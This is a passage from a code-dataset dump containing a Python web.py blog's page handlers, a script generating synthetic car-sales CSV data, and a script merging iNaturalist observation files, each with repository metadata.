')\n\ndef LoadInfo():\n d = {}\n d['localtime'] = localtime\n d['site_url'] = config.site_url\n d['site_generator'] = config.site_generator\n d['site_name'] = config.site_name;\n d['site_subname'] = config.site_subname;\n d['site_title'] = config.site_name + ' - ' + config.site_subname;\n d['site_keywords'] = config.site_keywords;\n d['site_description'] = config.site_description; \n d['myhtml'] = myhtml; \n\n #get latest items\n session = Session()\n try:\n d['catlist'] = session.query(ItemCat).\\\n order_by(ItemCat.orders.asc()).\\\n all()\n d['newitemlist'] = session.query(Item).\\\n join(Item.itemcat).\\\n filter(Item.pubdate < datetime.datetime.utcnow() ).\\\n filter(Item.ispass == True).\\\n options(contains_eager(Item.itemcat)).\\\n order_by(Item.pubdate.desc())\\\n [:15]\n d['newcommentlist'] = session.query(ItemComment).\\\n join(ItemComment.item).\\\n filter(Item.pubdate < datetime.datetime.utcnow() ).\\\n filter(ItemComment.ispass == True).\\\n options(contains_eager(ItemComment.item)).\\\n order_by(ItemComment.adddate.desc())\\\n [:15]\n finally:\n session.close()\n return d\n\ndef GetClass(className, startIndex = 0, pageSize = 25, session = None):\n needClose = False\n if not session:\n needClose = True\n session = Session()\n try:\n return session.query(Item).\\\n join(Item.itemcat).\\\n filter(ItemCat.beta == className.lower()).\\\n filter(Item.pubdate < datetime.datetime.utcnow() ).\\\n options(contains_eager(Item.itemcat)).\\\n order_by(Item.pubdate.desc())\\\n [startIndex:startIndex+pageSize]\n finally:\n if needClose:\n session.close()\n\n#class list \nclass ClassList:\n def GET(self, className, page = 1):\n d = LoadInfo()\n session = Session()\n d['recodecount'] = 0\n d['pagecount'] = 0\n page = int(page)\n pageSize = 5\n\n startIndex = pageSize*(page-1)\n d['itemlist'] = GetClass(className, startIndex , pageSize)\n\n if web.ctx.env.get('HTTP_HOST','').startswith('localhost'):\n d['debug'] = True\n if(d['itemlist']):\n d['itemCat'] = d['itemlist'][0].itemcat\n if page==0: page=1\n d['recodecount'] = session.query(Item).\\\n filter(Item.pubdate < datetime.datetime.utcnow() ).\\\n filter(Item.itemcat_id == d['itemCat'].id).count()\n d['pagecount'] = int(math.ceil( d['recodecount'] / float(pageSize)))\n if d['pagecount']==0: d['pagecount']=1\n else:\n try:\n d['recodecount'] = 0\n d['pagecount'] = 0\n d['itemCat'] = session.query(ItemCat).\\\n filter(ItemCat.beta == className.lower()).\\\n first();\n finally:\n session.close()\n\n if d.has_key('itemCat') and d['itemCat']:\n d['site_title'] = u'%s-%s:第%s页' % (d['itemCat'].name, config.site_name, page)\n d['site_keywords'] = d['itemCat'].name\n d['site_description'] = d['itemCat'].name + u'相关'\n d['page'] = page\n return render.classify(**d)\n return web.notfound(self)#not found\n\ndef quote_u(a):\n return urllib.quote(a.encode('utf-8'))\n\n#item detail\nclass ItemDetail:\n def GET(self, itembeta, page=1):\n d = LoadInfo()\n session = Session()\n try:\n d['item'] = session.query(Item).\\\n join(Item.itemcat).\\\n filter(Item.pubdate < datetime.datetime.utcnow() ).\\\n filter(Item.beta == itembeta).\\\n filter(Item.ispass == True).\\\n options(contains_eager(Item.itemcat)).\\\n first()\n\n if(d['item']):\n d['site_title'] = d['item'].title + config.site_name;\n d['site_description'] = d['item'].content[:100];\n\n d['recodecount'] = 0\n d['pagecount'] = 0\n page = int(page)\n pageSize = 10\n\n startIndex = pageSize*(page-1)\n\n #comment total\n d['commentcount'] = session.query(ItemComment).\\\n join(ItemComment.item).\\\n filter(ItemComment.item_id == d['item'].id).\\\n options(contains_eager(ItemComment.item)).\\\n count()\n\n d['page'] = 0\n if d['commentcount'] and d['commentcount'] > 0:\n #comment list\n d['commentlist'] = session.query(ItemComment).\\\n join(ItemComment.item).\\\n options(contains_eager(ItemComment.item)).\\\n filter(ItemComment.item_id == d['item'].id).\\\n filter(ItemComment.ispass == True).\\\n order_by(ItemComment.adddate.desc())\\\n [startIndex:startIndex+pageSize]\n if page==0: page=1\n d['pagecount'] = int(math.ceil( d['commentcount'] / float(pageSize)));\n if d['pagecount']==0: d['pagecount']=1\n d['page'] = page\n\n if web.ctx.env.get('HTTP_HOST','').startswith('localhost'):\n d['debug'] = True\n\n return render.details(**d)\n finally:#end try\n session.close()\n return web.notfound(self)#not found\n\n def POST(self, itembeta, page=0):\n d = LoadInfo()\n i = web.input()\n if not i.author.strip():\n d['msg'] = u'

名字必须填写!

'\n return render.msgshow(**d)\n if not i.email.strip():\n d['msg'] = u'

邮箱必须填写!

'\n return render.msgshow(**d)\n if not i.comment.strip():\n d['msg'] = u'

评论内容必须填写!

'\n return render.msgshow(**d)\n session = Session()\n try:\n itemv = session.query(Item).\\\n filter(Item.pubdate < datetime.datetime.utcnow() ).\\\n filter(Item.beta == itembeta).\\\n first()\n ip = web.ctx.ip\n comment1 = ItemComment(i.author, i.email, i.comment, datetime.datetime.utcnow(), ip, itemv.id)\n session.add(comment1)\n session.commit()\n finally:\n session.close()\n d['msg'] = u'

保存成功!

'\n return render.msgshow(**d)\n\n#main index\nclass Index:\n def GET(self, page = 1 ):\n d = LoadInfo()\n pageSize = 5\n page = int(page)\n startIndex = pageSize*(page-1)\n session = Session()\n try:\n d['itemlist'] = session.query(Item).\\\n join(Item.itemcat).\\\n filter(Item.pubdate < datetime.datetime.utcnow() ).\\\n filter(Item.ispass == True).\\\n options(contains_eager(Item.itemcat)).\\\n order_by(Item.pubdate.desc())\\\n [startIndex:startIndex+pageSize]\n if page==0: page=1\n #total\n d['recodecount'] = session.query(Item).\\\n join(Item.itemcat).\\\n filter(Item.pubdate < datetime.datetime.utcnow() ).\\\n filter(Item.ispass == True).\\\n options(contains_eager(Item.itemcat)).\\\n count()\n d['pagecount'] = int(math.ceil( d['recodecount'] / float(pageSize)));\n if d['pagecount']==0: d['pagecount']=1\n d['page'] = page\n d['itemcat'] = session.query(ItemCat).all()\n finally:\n session.close()\n #local not show stat\n if web.ctx.env.get('HTTP_HOST','').startswith('localhost'):\n d['debug'] = True\n return render.index(**d)\n\n#Rss page\nclass RssIndex:\n def GET(self):\n d = LoadInfo()\n #web.header('Content-Type','text/xml; charset=utf-8', unique=True)\n #web.header('Transfer-Encoding', 'chunked')\n d['now'] = datetime.datetime.utcnow()\n session = Session()\n try:\n pageSize = 20\n d['itemlist'] = session.query(Item).\\\n filter(Item.pubdate < datetime.datetime.utcnow() ).\\\n filter(Item.ispass == True).\\\n join(Item.itemcat).\\\n options(subqueryload('itemcat')).\\\n order_by(Item.pubdate.desc())\\\n [:pageSize]\n finally:\n session.close()\n return render.rss(**d)\n\nclass Ico(StaticFileHandler):\n file_path = \"favicon.ico\"\n content_type = \"image/vnd.microsoft.icon\"\n\nclass AdminCatDel:\n def GET(self,catid=0):\n d = LoadInfo()\n if catid == 0:\n d['msg'] = u'

找不到该分类

'\n d['returnurl'] = u'/admin/catlist/'\n return render.msgshow(**d)\n session = Session()\n try:\n catcount =session.query(Item).\\\n join(Item.itemcat).\\\n filter(ItemCat.id == int(catid)).\\\n options(contains_eager(Item.itemcat)).\\\n count()\n finally:\n session.close()\n if catcount:\n d['msg'] = u'

分类下还有文章,不能删除!

'\n d['returnurl'] = u'/admin/catlist/'\n return render.msgshow(**d)\n else:\n #delete \n catitems = [x for x in d['catlist'] if int(x.id)==int(catid)]\n if catitems:\n session = Session()\n try:\n session.delete(catitems[0])\n session.commit()\n finally:\n session.close()\n d['msg'] = u'

删除成功

'\n d['returnurl'] = u'/admin/catlist/'\n return render.msgshow(**d)\n else:\n d['msg'] = u'

找不到该分类

'\n d['returnurl'] = u'/admin/catlist/'\n return render.msgshow(**d)\n\nclass AdminCatList:\n def GET(self, catid=0):\n d = LoadInfo()\n d['myitem'] = \"\"\n if d['catlist']:\n if catid>0:\n catitems = [x for x in d['catlist'] if int(x.id)==int(catid)]\n if catitems:\n d['myitem'] = catitems[0]\n return render.admin_catlist(**d)\n return web.notfound(self)\n\n def POST(self):\n d = LoadInfo()\n i = web.input()\n if not i.myid.strip():\n d['msg'] = u'

id必须填写!

'\n return render.msgshow(**d)\n if not i.mname.strip():\n d['msg'] = u'

名字必须填写!

'\n return render.msgshow(**d)\n if not i.mbeta.strip():\n d['msg'] = u'

beta必须填写!

'\n return render.msgshow(**d)\n if not i.morders.strip():\n d['msg'] = u'

orders必须填写!

'\n return render.msgshow(**d)\n session = Session()\n try:\n myid = int(i.myid)\n name = i.mname.strip()\n beta = i.mbeta.strip()\n orders = int(i.morders.strip())\n keyword = i.mkeyword.strip()\n description = i.mdescription.strip()\n ishide = i.mishide.strip() == 'true'\n if myid !=0:\n itemv = session.query(ItemCat).\\\n filter(ItemCat.id == myid).\\\n first()\n itemv.name = name\n itemv.beta = beta\n item.orders = orders\n item.keyword = keyword\n item.description = description\n item.ishide = ishide\n else:\n itemv = ItemCat(name, beta, orders, keyword, description, ishide)\n session.add(itemv)\n session.commit()\n finally:\n session.close()\n d['msg'] = u'

保存成功!

'\n d['returnurl'] = u'/admin/catlist/'\n return render.msgshow(**d)\n\nclass AdminItemList:\n def GET(self, page = 1 ):\n d = LoadInfo()\n pageSize = 20\n page = int(page)\n startIndex = pageSize*(page-1)\n session = Session()\n try:\n d['itemlist'] = session.query(Item).\\\n join(Item.itemcat).\\\n options(contains_eager(Item.itemcat)).\\\n order_by(Item.pubdate.desc())\\\n [startIndex:startIndex+pageSize]\n if page==0: page=1\n #总数\n d['recodecount'] = session.query(Item).\\\n join(Item.itemcat).\\\n options(contains_eager(Item.itemcat)).\\\n count()\n d['pagecount'] = int(math.ceil( d['recodecount'] / float(pageSize)));\n if d['pagecount']==0: d['pagecount']=1\n d['page'] = page\n d['itemcat'] = session.query(ItemCat).all()\n finally:\n session.close()\n return render.admin_itemlist(**d)\n\nclass AdminCommentList:\n def GET(self, page = 1 ):\n d = LoadInfo()\n pageSize = 20\n page = int(page)\n startIndex = pageSize*(page-1)\n session = Session()\n try:\n d['commentlist'] = session.query(ItemComment).\\\n options(contains_eager(ItemComment.item)).\\\n order_by(ItemComment.adddate.desc())\\\n [startIndex:startIndex+pageSize]\n if page==0: page=1\n #总数\n d['recodecount'] = session.query(ItemComment).\\\n options(contains_eager(ItemComment.item)).\\\n count()\n d['pagecount'] = int(math.ceil( d['recodecount'] / float(pageSize)));\n if d['pagecount']==0: d['pagecount']=1\n d['page'] = page\n finally:\n session.close()\n return render.admin_commentlist(**d)\n\nclass AdminItemEdit:\n def GET(self, itemid = 0 ):\n d = LoadInfo()\n session = Session()\n try:\n d['myitem'] = session.query(Item).\\\n filter(Item.id == int(itemid)).\\\n first()\n finally:\n session.close()\n if not d['myitem']:\n d['myitem'] = Item('', '', '', datetime.datetime.utcnow(), datetime.datetime.utcnow(), False)\n d['myitem'].id = 0\n return render.admin_itemedit(**d)\n\n def POST(self, itemid = 0):\n d = LoadInfo()\n i = web.input()\n if not i.myid.strip():\n d['msg'] = u'

id必须填写!

'\n return render.msgshow(**d)\n if not i.mtitle.strip():\n d['msg'] = u'

title必须填写!

'\n return render.msgshow(**d)\n if not i.mbeta.strip():\n d['msg'] = u'

beta必须填写!

'\n return render.msgshow(**d)\n if not i.mcategory.strip():\n d['msg'] = u'

category必须填写!

'\n return render.msgshow(**d)\n session = Session()\n try:\n itemv = Item(None, None, None, None, None, None)\n if int(i.myid)!=0:\n itemv = session.query(Item).\\\n filter(Item.id == int(i.myid)).\\\n first()\n itemv.title = i.mtitle.strip()\n itemv.beta = i.mbeta.strip()\n\n catitems = [x for x in d['catlist'] if int(x.id)==int(i.mcategory)]\n if catitems:\n itemv.itemcat = catitems[0]\n else:\n itemv.itemcat = d['catlist'][0]\n fmr = '%Y-%m-%d %H:%M:%S'\n\n adddate = time.strptime(i.madddate.strip(), fmr)\n adddate = gmttime(datetime.datetime(*adddate[:6]))\n itemv.adddate = adddate\n\n pubdate = time.strptime(i.mpubdate.strip(), fmr)\n pubdate = gmttime(datetime.datetime(*pubdate[:6]))\n itemv.pubdate = pubdate\n itemv.ispass = i.mispass.strip() == 'true'\n itemv.content = i.mcontent.strip()\n session.add(itemv)\n session.commit()\n finally:\n session.close()\n if int(i.myid)==0:\n d['msg'] = u'

添加成功!

'\n else:\n d['msg'] = u'

修改保存成功!

'\n d['returnurl'] = u'/admin/itemlist/'\n return render.msgshow(**d)\n\nclass AdminCommentPass:\n def GET(self, cid=0):\n d = LoadInfo()\n if cid == 0:\n d['msg'] = u'

找不到该评论

'\n d['returnurl'] = u'/admin/commentlist/'\n return render.msgshow(**d)\n session = Session()\n #delete \n try:\n comment = session.query(ItemComment).\\\n filter(ItemComment.id == int(cid)).\\\n first()\n if comment:\n comment.ispass = not comment.ispass\n session.add(comment)\n session.commit()\n d['msg'] = u'

修改成功

'\n d['returnurl'] = u'/admin/commentlist/'\n else:\n d['msg'] = u'

找不到该评论

'\n d['returnurl'] = u'/admin/commentlist/'\n return render.msgshow(**d)\n finally:\n session.close()\n", "repo_name": "xiexiao/blogPy", "sub_path": "pages.py", "file_name": "pages.py", "file_ext": "py", "file_size_in_byte": 16052, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "datetime.timedelta", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "util.render_mako", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "sqlalchemy.create_engine", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 35, "usage_type": "call"}, {"api_name": "markupsafe.escape", "line_number": 43, "usage_type": "call"}, {"api_name": "config.site_url", "line_number": 49, "usage_type": "attribute"}, {"api_name": "config.site_generator", "line_number": 50, "usage_type": "attribute"}, {"api_name": "config.site_name", "line_number": 51, "usage_type": "attribute"}, {"api_name": "config.site_subname", "line_number": 52, "usage_type": "attribute"}, {"api_name": "config.site_name", "line_number": 53, "usage_type": "attribute"}, {"api_name": "config.site_subname", "line_number": 53, "usage_type": "attribute"}, {"api_name": "config.site_keywords", "line_number": 54, "usage_type": "attribute"}, {"api_name": "config.site_description", "line_number": 55, "usage_type": "attribute"}, {"api_name": "datetime.datetime.utcnow", "line_number": 66, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 66, "usage_type": "attribute"}, {"api_name": "sqlalchemy.orm.contains_eager", "line_number": 68, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 73, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 73, "usage_type": "attribute"}, {"api_name": "sqlalchemy.orm.contains_eager", "line_number": 75, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 91, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 91, "usage_type": "attribute"}, {"api_name": "sqlalchemy.orm.contains_eager", "line_number": 92, "usage_type": "call"}, {"api_name": "web.ctx.env.get", "line_number": 112, "usage_type": "call"}, {"api_name": "web.ctx", "line_number": 112, "usage_type": "attribute"}, {"api_name": "datetime.datetime.utcnow", "line_number": 118, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 118, "usage_type": "attribute"}, {"api_name": "math.ceil", "line_number": 120, "usage_type": "call"}, {"api_name": "config.site_name", "line_number": 133, "usage_type": "attribute"}, {"api_name": "web.notfound", "line_number": 138, "usage_type": "call"}, {"api_name": "urllib.quote", "line_number": 141, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 151, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 151, "usage_type": "attribute"}, {"api_name": "sqlalchemy.orm.contains_eager", "line_number": 154, "usage_type": "call"}, {"api_name": "config.site_name", "line_number": 158, "usage_type": "attribute"}, {"api_name": "sqlalchemy.orm.contains_eager", "line_number": 172, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.contains_eager", "line_number": 180, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 186, "usage_type": "call"}, {"api_name": "web.ctx.env.get", "line_number": 190, "usage_type": "call"}, {"api_name": "web.ctx", "line_number": 190, "usage_type": "attribute"}, {"api_name": "web.notfound", "line_number": 196, "usage_type": "call"}, {"api_name": "web.input", "line_number": 200, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 213, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 213, "usage_type": "attribute"}, {"api_name": "web.ctx", "line_number": 216, "usage_type": "attribute"}, {"api_name": "datetime.datetime.utcnow", "line_number": 217, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 217, "usage_type": "attribute"}, {"api_name": "datetime.datetime.utcnow", "line_number": 236, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 236, "usage_type": "attribute"}, {"api_name": "sqlalchemy.orm.contains_eager", "line_number": 238, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 245, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 245, "usage_type": "attribute"}, {"api_name": "sqlalchemy.orm.contains_eager", "line_number": 247, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 249, "usage_type": "call"}, {"api_name": "web.ctx.env.get", "line_number": 256, "usage_type": "call"}, {"api_name": "web.ctx", "line_number": 256, "usage_type": "attribute"}, {"api_name": "datetime.datetime.utcnow", "line_number": 266, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 266, "usage_type": "attribute"}, {"api_name": "datetime.datetime.utcnow", "line_number": 271, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 271, "usage_type": "attribute"}, {"api_name": "sqlalchemy.orm.subqueryload", "line_number": 274, "usage_type": "call"}, {"api_name": "util.StaticFileHandler", "line_number": 281, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.contains_eager", "line_number": 297, "usage_type": "call"}, {"api_name": "web.notfound", "line_number": 333, "usage_type": "call"}, {"api_name": "web.input", "line_number": 337, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.contains_eager", "line_number": 389, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.contains_eager", "line_number": 396, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 398, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.contains_eager", "line_number": 415, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.contains_eager", "line_number": 421, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 423, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 441, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 441, "usage_type": "attribute"}, {"api_name": "web.input", "line_number": 447, "usage_type": "call"}, {"api_name": "time.strptime", "line_number": 477, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 478, "usage_type": "call"}, {"api_name": "time.strptime", "line_number": 481, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 482, "usage_type": "call"}]} {"seq_id": "12278781282", "text": "import numpy as np\nimport uuid\nimport datetime\nimport pandas as pd\nimport os\nimport unidecode\n\n\ncities = {}\ncities[\"UNITED_STATES\"] = [city.upper() for city in [\"New York\", \"Chicago\", \"Los Angeles\", \"Boston\", \"San Francisco\"]]\ncities[\"FRANCE\"] = [city.upper() for city in [\"Paris\",\"Marseille\",\"Lyon\",\"Toulouse\",\"Nice\",\"Nantes\",\"Montpellier\",\"Strasbourg\",\"Bordeaux\",\"Lille\"]]\ncities[\"CANADA\"] = [city.upper() for city in [\"Alberta\",\"Colombie-Britannique\",\"Manitoba\",\"Nouveau-Brunswick\",\"Terre-Neuve-et-Labrador\",\"Nouvelle-Écosse\",\"Ontario\",\"Île-du-Prince-Édouard\",\"Québec\",\"Saskatchewan\",\"Territoires du nord-ouest\",\"Nunavut\",\"Yukon\"]]\ncities[\"CHINA\"] = [city.upper() for city in [\"Shanghai\",\"Pékin\",\"Canton\",\"Shenzhen\",\"Dongguan\"]]\ncities[\"GERMANY\"] = [city.upper() for city in [\"Berlin\",\"Hambourg\",\"Munich\",\"Cologne\",\"Francfort-sur-le-Main\",\"Stuttgart\",\"Düsseldorf\",\"Dortmund\"]]\ncities[\"UNITED_KINGDOM\"] = [city.upper() for city in [\"Londres\",\"Birmingham\",\"Glasgow\",\"Manchester\",\"Édimbourg\",\"Liverpool\",\"Leeds\"]]\ncities[\"SPAIN\"] = [city.upper() for city in [\"Madrid\",\"Barcelone\",\"Séville\",\"Valencia\",\"Bilbao\"]]\ncountries = [\"FRANCE\",\"UNITED_STATES\",\"CANADA\",\"CHINA\",\"GERMANY\",\"UNITED_KINGDOM\",\"SPAIN\"]\ncountries_code = [\"FR\",\"US\",\"CA\",\"CN\",\"DE\",\"UK\",\"ESP\"]\n#countries_cutomers_count = [1618474,12484979,4308817,20967793,1944205,2924028,500902]\ncountries_cutomers_count = [1618,12484,4308,20967,1944,2924,500]\nprint(np.sum(countries_cutomers_count))\n\ndef softmax(x):\n return np.exp(x) / np.sum(np.exp(x), axis=0)\n\ndef create_customers(nb_data,country_name,country_code):\n genders = [\"MAN\",\"WOMAN\"]\n ages = np.arange(18,90)\n \n random_id = [str(uuid.uuid4()) for i in range(nb_data)]\n random_genders = np.random.choice(genders,size = nb_data)\n random_ages = np.random.choice(ages,size= nb_data)\n \n dataframe = pd.DataFrame(list(zip(random_id,random_genders,random_ages)),columns =[\"ID_CUSTOMER\",\"GENDER\",\"AGE\"])\n dataframe.to_csv(\"./generated_cars_data/customers/\"+country_code.replace(\" \",\"_\").upper()+\"_customers.csv\", index=False)\n \ndef create_times(date_count,country_code):\n times_range = pd.date_range(start='1/1/2015', end='31/12/2018')\n dataframe = pd.DataFrame(list(zip(times_range,times_range.year,times_range.month,times_range.day)),columns=[\"ID_TIME\",\"YEAR\",\"MONTH\",\"DAY\"])\n dataframe.to_csv(\"./generated_cars_data/times/times.csv\", index=False)\n \ndef create_sales(data_car_path,data_customers_path,times_customers_path,country_name,country_code,city): \n car_data = pd.read_csv(data_car_path,encoding=\"latin-1\")\n customers_data = pd.read_csv(data_customers_path,encoding=\"latin-1\")\n times_data = pd.read_csv(times_customers_path,encoding=\"latin-1\")\n\n cars_weight = np.random.normal(0,1,len(car_data[\"ID_PRODUCT\"]))\n cars_weight = softmax(cars_weight) \n\n random_car_ids = np.random.choice(car_data[\"ID_PRODUCT\"],size=len(customers_data[\"ID_CUSTOMER\"]),p=cars_weight)\n random_time_ids = np.random.choice(times_data[\"ID_TIME\"],size=len(customers_data[\"ID_CUSTOMER\"]))\n cities_weights = np.random.normal(0,1,len(city))\n cities_weights = softmax(cities_weights)\n random_cities = np.random.choice(city,size=len(customers_data[\"ID_CUSTOMER\"]),p= cities_weights)\n \n dataframe = pd.DataFrame(list(zip(random_car_ids,random_time_ids,customers_data[\"ID_CUSTOMER\"],[unidecode.unidecode(random_city.replace(\" \",\"_\").replace(\"-\",\"_\").upper()) for random_city in random_cities])),columns=[\"ID_PRODUCT\",\"ID_TIME\",\"ID_CUSTOMER\",\"CITY\"])\n dataframe.to_csv(\"./generated_cars_data/sales/\"+country_code.replace(\" \",\"_\").upper()+\"_sales.csv\", index=False)\n \ndef create_stores(cities,country,country_code):\n country = [country]*len(cities)\n dataframe = pd.DataFrame(list(zip([unidecode.unidecode(city.replace(\" \",\"_\").replace(\"-\",\"_\").upper()) for city in cities],country)),columns=[\"CITY\",\"COUNTRY\"])\n dataframe.to_csv(\"./generated_cars_data/stores/\"+country_code.replace(\" \",\"_\").upper()+\"_stores.csv\", index=False)\n \ndef create_data(countries,coutries_code,countries_cutomers_count,cities,nb_date):\n if not os.path.exists(\"./generated_cars_data\"): os.mkdir(\"./generated_cars_data\")\n if not os.path.exists(\"./generated_cars_data/times\"): os.makedirs(\"./generated_cars_data/times\")\n if not os.path.exists(\"./generated_cars_data/customers\"): os.makedirs(\"./generated_cars_data/customers\")\n if not os.path.exists(\"./generated_cars_data/sales\"): os.makedirs(\"./generated_cars_data/sales\")\n if not os.path.exists(\"./generated_cars_data/stores\"): os.makedirs(\"./generated_cars_data/stores\")\n \n for country_data in list(zip(countries,coutries_code,countries_cutomers_count)):\n data_car_path = \"products/car_cleaned_data_with_uuid.csv\"\n data_customers_path = \"generated_cars_data/customers/\"+country_data[1]+\"_customers.csv\"\n data_times_path = \"generated_cars_data/times/times.csv\"\n create_customers(country_data[2],country_data[0],country_data[1])\n create_times(nb_date,country_data[1])\n create_sales(data_car_path,data_customers_path,data_times_path,country_data[0],country_data[1],cities[country_data[0]])\n create_stores(cities[country_data[0]],country_data[0],country_data[1])\n print(country_data[0])\n\nif __name__ == \"__main__\":\n create_data(countries,countries_code,countries_cutomers_count,cities,100)\n", "repo_name": "Henri-Hoyez/buisness_intelligence_project", "sub_path": "create_cars_data.py", "file_name": "create_cars_data.py", "file_ext": "py", "file_size_in_byte": 5382, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.sum", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 28, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 31, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 32, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 34, "usage_type": "call"}, {"api_name": "pandas.date_range", "line_number": 38, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 39, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 43, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 44, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 47, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 50, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 51, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 52, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 54, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 56, "usage_type": "call"}, {"api_name": "unidecode.unidecode", "line_number": 56, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 61, "usage_type": "call"}, {"api_name": "unidecode.unidecode", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path", "line_number": 69, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 69, "usage_type": "call"}]} {"seq_id": "20354180019", "text": "from os import getcwd\nfrom glob import glob\nfrom zipfile import ZipFile\nimport pandas as pd\n\n# Du .zip failus iš aplanko Duomenys pasibandymui nukopijuokite į aplanką Files. Rezultatą rasite aplanke Results.\n\ndir_path = f'{getcwd()}\\\\Files'\n\ni = ''\n\nfor i in glob(f'{dir_path}\\\\*.zip'):\n ZipFile(i).extractall(dir_path)\n\nlatest_file = i[i.find('observations-') + 13:i.find('.csv')]\n\ndf = pd.DataFrame()\n\nfor i in glob(f'{dir_path}\\\\observations-*.csv'):\n df = pd.concat([df, pd.read_csv(i, encoding='UTF-8', low_memory=False).drop(columns=['species_guess'])])\n\ndf = df.convert_dtypes().reset_index(drop=True)\n\n# print(df.info())\n\ndf['created_at'] = pd.to_datetime(df['created_at'], utc=True)\n\nprint('\\n', ' Paskutinio stebėjimo laikas:', pd.to_datetime(max(df['created_at'])))\nignore_datetime = input('Neįtraukti duomenų nuo (YYYY-MM-DD): ') + ' 00:00:00+00:00'\n\ndf = df[df.created_at < ignore_datetime]\n\nlatest_datetime = str(pd.to_datetime(max(df['created_at'])))[:19].replace(':', '_') + ' UTC'\n\ndf = df.drop(columns=['created_at'])\n\ntaxon_id_count = df.value_counts('taxon_id').to_frame()\n\ndf = df.drop_duplicates()\n\ndf['common_name'] = df['common_name'].str.capitalize()\n\ntaxon_id_count.join(df.set_index('taxon_id'), on='taxon_id').sort_values(by='scientific_name').to_csv(\n f'{dir_path}\\\\Results\\\\observations-{latest_file} {latest_datetime}.csv')\n", "repo_name": "DainiusPythonPTU11/inat-common-names-ltu", "sub_path": "list.py", "file_name": "list.py", "file_ext": "py", "file_size_in_byte": 1377, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": 